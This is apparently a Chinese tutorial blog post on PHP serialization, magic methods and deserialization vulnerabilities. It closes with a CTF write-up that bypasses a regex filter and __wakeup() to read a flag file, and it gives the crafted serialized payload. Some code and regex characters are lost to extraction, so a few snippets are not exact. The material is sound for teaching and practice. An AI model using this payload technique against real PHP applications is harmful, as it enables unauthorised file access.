序列化(serialize)和反序列化(unserialize)
序列化就是将对象转化为字节序列/字符串,便于之后的传递与使用,序列化会保存对象所有的变量。在序列化对象之前,对象的类要实例化/定义过,字符串中包括了类名、对象中所有变量值,但不包括方法。而反序列化后,会将字符串转换回变量,并重建类或对象
序列化(serialize)
序列化是将变量或对象转换成字符串的过程:
代码语言:javascript复制<?php
class persopn{
public $name;
public $age;
function __construct($name,$age){
$this->name = $name;
$this->age = $age;
}
}
$p = new ("cx", 19);
echo serialize($p);
?>
输出结果:
代码语言:javascript复制O:6:"person":2:{s:4:"name";s:3:"cx";s:3:"age";i:19;}
O
代表结构类型为类6
表示类名长度person
表示类名2
表示类的属性个数s
表示属性名的类型为字符串4
表示属性名长度name
表示属性名s
表示属性的类型为字符串3
表示属性长度cx
表示属性值- ……
反序列化(unserialize)
unserialize()
将序列化的结果恢复成对象。
<?php
class Demo{
public $file = 'index.php';
public function __construct($file) {
$this->file = $file;
}
}
$s = new Demo('test.php');
$str = serialize($s);
echo($str."n");
print_r(unserialize($str));
$sir = unserialize($str);
?>
输出结果为:
代码语言:javascript复制O:4:"Demo":1:{s:4:"file";s:8:"test.php";}
Demo Object
(
[file] => test.php
)
序列化格式
布尔型:
代码语言:javascript复制b:value //true or flase
b:0
整数型:
代码语言:javascript复制i:value
i:10
字符型:
代码语言:javascript复制s:length:"value";
s:4:"aaaa"
对象:
代码语言:javascript复制O:<class_name_length>:"<class_name>":<number_of_properties>:{<properties>};
O:6:"Person":3:{s:4:"name";N;s:3:"age";i:18;s:3:"sex";B;}
数组:
代码语言:javascript复制a:<length>:{key; value pairs};
a:1:{i:1;s:1:"a";}
NULL:
代码语言:javascript复制N
魔术方法
魔术方法是PHP
面向对象中特有的特性。它们在特定的情况下被触发,都是以双下划线开头,你可以把它们理解为钩子,利用模式方法可以轻松实现PHP
面向对象中重载(Overloading
即动态创建类属性和方法)
__construct
对象被创建时调用,但unserialize()
时不会调用
__toString
对象被当做字符串使用时调用,返回一个字符串(不仅echo
,比如file_exists()
也会触发)
__sleep
序列化对象之前调用(返回一个包含对象中所有应被序列化的变量名称的数组)
__wakeup
反序列化对象之前调用,可用于对对象的初始化操作
__call
调用对象不存在的时
__get()
调用私有属性时
__set()
读取不可访问或者不存在属性时被调用
__isset()
对不可访问或者不存在属性调用isset()
或者empty()
是被调用
__unset()
对不可访问或不存在的属性进行unset()
时被调用
反序列化漏洞
条件
unserialize()
函数的参数可控php
中有可以利用的类并且类中有魔术方法
漏洞成因
当传给unserialize()
的参数可控时,就可以注入精心构造的payload,在进行反序列化是就可能触发对象中的一些魔术方法,执行恶意指令。
例题
1. Web_php_unserialize
题目来源攻防世界
前置知识:在 PHP5 < 5.6.25, PHP7 < 7.0.10 的版本存在__wakeup()
的漏洞。当反序列化中对象属性的个数和真实的个数不等时,__wakeup()
就会被绕过。
查看代码
首先查看php
源代码:
<?php
class Demo {
private $file = 'index.php';
public function __construct($file) {
$this->file = $file;
}
function __destruct() {
echo @highlight_file($this->file, true);
}
function __wakeup() {
if ($this->file != 'index.php') {
//the secret is in the fl4g.php
$this->file = 'index.php';
}
}
}
if (isset($_GET['var'])) {
$var = base64_decode($_GET['var']);
if (preg_match('/[oc]:d :/i', $var)) {
die('stop hacking!');
} else {
@unserialize($var);
}
} else {
highlight_file("index.php");
}
?>
在Demo里面看到了__wakeup()
函数,可知这里应该涉及反序列化。
下方的if
语句首先判断var参数是否存在,然后进行base64
编码,再与正则表达式匹配。如果与正则表达式匹配,程序就会停止,所以我们需要绕过匹配,执行else
中的@unserialize($var);
反序列化操作。在反序列化操作之前会先执行__wakeup()
,判断对象的文件是否为index.php
,如果不是则将对象的文件属性变为index.php
,注释告诉我们flag在fl4g.php
里面,因此我们需要绕过__wakeup()
。
序列化对象
代码语言:javascript复制<?php
class Demo {
private $file = 'index.php';
public function __construct($file) {
$this->file = $file;
}
function __destruct() {
echo @highlight_file($this->file, true);
}
function __wakeup() {
if ($this->file != 'index.php') {
//the secret is in the fl4g.php
$this->file = 'index.php';
}
}
}
$demo = new Demo('fl4g.php');
echo serialize($demo);
?>
运行后得到结果:
代码语言:javascript复制O:4:"Demo":1:{s:10:"Demofile";s:8:"fl4g.php";}
这里我们发现Demofile
只有八个字符,但是长度却是10,可知存在两个空字符:
绕过正则表达式
/[oc]:d :/i
:
[oc]:
表示这块区域用来匹配o
或者c
;
d:
代表一个数字字符;
:
代表可以匹配多次;
/i
表示匹配时不区分大小写。
由于序列化后的结果o
后面为4,所以需要绕过正则表达式, 号可以实现绕过( 号代表空格),还可以使用true
来代替数字1或者异或法。
正则表达式完整教程
利用__wakeup()
漏洞绕过
然后绕过__wakeup()
,修改类的属性个数大于真是属性个数即可。
修改后的序列化结果如下:
代码语言:javascript复制O: 4:"Demo":2:{s:10:"Demofile";s:8:"fl4g.php";}
编码、构造payload
然后进行base64
编码,注意不要忘记加上两个x00
空字符:
然后构造payload,即可得到flag。